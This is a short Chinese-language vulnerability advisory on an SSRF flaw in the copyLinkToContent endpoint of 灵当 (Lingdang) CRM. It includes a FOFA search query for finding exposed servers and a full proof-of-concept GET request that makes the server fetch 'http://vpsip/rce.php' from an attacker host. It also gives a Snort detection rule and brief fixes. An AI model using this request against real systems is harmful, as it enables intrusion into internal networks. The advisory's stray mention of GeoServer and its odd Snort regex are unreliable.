

灵当CRM copyLinkToContent 存在SSRF漏洞

灵当CRM copyLinkToContent 存在SSRF漏洞，攻击者可利用服务器端请求伪造（SSRF）漏洞，操纵GeoServer向内部网络发起恶意请求，窃取敏感数据或攻击内网系统，导致内网渗透或数据泄露。

影响版本

灵当CRM

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="crmcommon/js/jquery/jquery-1.10.1.min.js" || body="<http://localhost:8088/crm/index.php>" && body="ldcrm.base.js" || title="灵当CRM"

POC/EXP:

```
GET /crm/weixinApp/marketing/index.php?
module=Articles&action=copyLinkToContent&url=http://vpsip/rce.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64; rv:109.0) Gecko/20100101
Firefox/109.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
```



snort规则：

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"Lingdang CRM - SSRF via copyLinkToContent";  
  flow:to_server,established;  
  content:"GET"; http_method;  
  content:"/crm/weixinApp/marketing/index.php"; http_uri;  
  content:"action=copyLinkToContent"; http_uri;  
  content:"url="; http_uri;  
  pcre:"/url=http:\\/\\/[^&]*[\\.]\\. [^\\/]+/i";  
  metadata:service http;  
  metadata:affected_product "灵当CRM系统";  
  metadata:vulnerability_type "Server-Side Request Forgery";  
  classtype:web-application-attack;  
  sid:1000362;  
  rev:1;  
  priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。